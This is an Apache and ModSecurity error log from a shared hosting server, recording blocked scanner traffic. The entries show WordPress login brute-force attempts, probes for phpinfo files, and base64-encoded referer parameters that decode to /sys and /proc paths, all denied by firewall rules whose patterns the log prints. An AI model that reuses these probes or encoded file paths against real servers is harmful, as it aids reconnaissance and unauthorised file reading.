647019] [client 34.23.213.224:55264] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGtyTkdrNlD40tSGvBAAAAAs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:30.841566 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.20:54676] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:30.841852 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.20:54676] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:30.867253 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:30.867699 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:30.883197 2026] [security2:error] [pid 646876:tid 647093] [client 34.23.213.224:55272] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zGtyTkdrNlD40tSGvCwAAAFU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:30.938671 2026] [security2:error] [pid 646876:tid 647074] [client 185.177.72.9:36100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/index.php"] [unique_id "ai3zGtyTkdrNlD40tSGvEAAAAEI"] [Sat Jun 13 18:17:31.048368 2026] [security2:error] [pid 648189:tid 648444] [client 34.23.213.224:55274] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zG1WSojQL4F7upKBmDgAAAN4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:31.160514 2026] [security2:error] [pid 648189:tid 648346] [remote 17.246.15.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zG1WSojQL4F7upKBmFwAA93s"] [Sat Jun 13 18:17:31.202948 2026] [security2:error] [pid 648189:tid 648426] [client 185.177.72.9:36104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/index.php~"] [unique_id "ai3zG1WSojQL4F7upKBmGwAAAM0"] [Sat Jun 13 18:17:31.209082 2026] [security2:error] [pid 648189:tid 648479] [client 34.23.213.224:55280] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zG1WSojQL4F7upKBmHAAAAP0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:31.388429 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:17:31.388870 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:17:31.470542 2026] [security2:error] [pid 646876:tid 647021] [client 185.177.72.9:36118] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/index1.php"] [unique_id "ai3zG9yTkdrNlD40tSGvGQAAAA0"] [Sat Jun 13 18:17:31.494566 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.14:60334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:31.494868 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.14:60334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:31.528893 2026] [security2:error] [pid 646876:tid 646906] [remote 17.22.237.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zG9yTkdrNlD40tSGvGwAAOxs"] [Sat Jun 13 18:17:31.608867 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.53:40166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:31.609319 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.53:40166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:31.668592 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.98:50496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:31.668937 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.98:50496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:31.731012 2026] [security2:error] [pid 648189:tid 648369] [client 185.177.72.9:36122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/inf.php"] [unique_id "ai3zG1WSojQL4F7upKBmKAAAAJU"] [Sat Jun 13 18:17:31.915489 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:17:31.915944 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:17:31.996239 2026] [security2:error] [pid 648189:tid 648466] [client 185.177.72.9:36130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info1.php"] [unique_id "ai3zG1WSojQL4F7upKBmLAAAAPA"] [Sat Jun 13 18:17:32.005264 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.227.22:46236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:32.005735 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.227.22:46236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:32.172993 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.32:31413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:32.173294 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.32:31413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:32.264689 2026] [security2:error] [pid 646876:tid 647096] [client 185.177.72.9:36144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info2.php"] [unique_id "ai3zHNyTkdrNlD40tSGvLwAAAFg"] [Sat Jun 13 18:17:32.276098 2026] [autoindex:error] [pid 646876:tid 647098] [client 36.68.124.48:59027] AH01276: Cannot serve directory /home4/bsjlfkmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:17:32.442546 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:17:32.442840 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:17:32.532572 2026] [security2:error] [pid 646876:tid 647134] [client 185.177.72.9:36160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info3.php"] [unique_id "ai3zHNyTkdrNlD40tSGvNQAAAH4"] [Sat Jun 13 18:17:32.793764 2026] [security2:error] [pid 646876:tid 647052] [client 185.177.72.9:36174] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info4.php"] [unique_id "ai3zHNyTkdrNlD40tSGvNwAAACw"] [Sat Jun 13 18:17:32.807174 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.85:38380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:32.807578 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.85:38380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:32.841432 2026] [security2:error] [pid 648189:tid 648321] [remote 17.22.253.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHFWSojQL4F7upKBmRQAArmI"] [Sat Jun 13 18:17:32.951483 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.62:32382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:32.951950 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.62:32382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:32.977560 2026] [security2:error] [pid 646876:tid 646941] [remote 17.246.19.25:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 25.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHNyTkdrNlD40tSGvPAAABD4"] [Sat Jun 13 18:17:33.010345 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:17:33.010816 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:17:33.058376 2026] [security2:error] [pid 646876:tid 647009] [client 185.177.72.9:36180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/infophp.php"] [unique_id "ai3zHdyTkdrNlD40tSGvPgAAAAE"] [Sat Jun 13 18:17:33.150822 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.45:32576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:33.151094 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.45:32576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:33.190122 2026] [security2:error] [pid 646876:tid 647001] [remote 88.97.185.9:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zHdyTkdrNlD40tSGvQAAAf3o"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:33.190186 2026] [security2:error] [pid 646876:tid 647001] [remote 88.97.185.9:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zHdyTkdrNlD40tSGvQAAAf3o"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:33.226954 2026] [security2:error] [pid 648189:tid 648232] [remote 103.205.140.225:30920] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.140.205.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hairdefinitions.co.uk"] [uri "/wp-login.php"] [unique_id "ai3zHVWSojQL4F7upKBmUgAA1Qw"] [Sat Jun 13 18:17:33.313752 2026] [security2:error] [pid 646876:tid 647020] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/str_split_variation7_64bit.phpt"] [unique_id "ai3zHdyTkdrNlD40tSGvQgAAAAw"] [Sat Jun 13 18:17:33.330413 2026] [security2:error] [pid 646876:tid 647099] [client 185.177.72.9:41814] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/infos.php"] [unique_id "ai3zHdyTkdrNlD40tSGvQwAAAFs"] [Sat Jun 13 18:17:33.369837 2026] [security2:error] [pid 646876:tid 647020] [client 34.23.213.224:55286] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHdyTkdrNlD40tSGvRAAAAAw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:33.460104 2026] [security2:error] [pid 648189:tid 648355] [client 36.68.124.48:58996] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.124.68.36.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bsj.lfk.mybluehost.me"] [uri "/index.php"] [unique_id "ai3zHVWSojQL4F7upKBmWgAAAIc"] [Sat Jun 13 18:17:33.485134 2026] [access_compat:error] 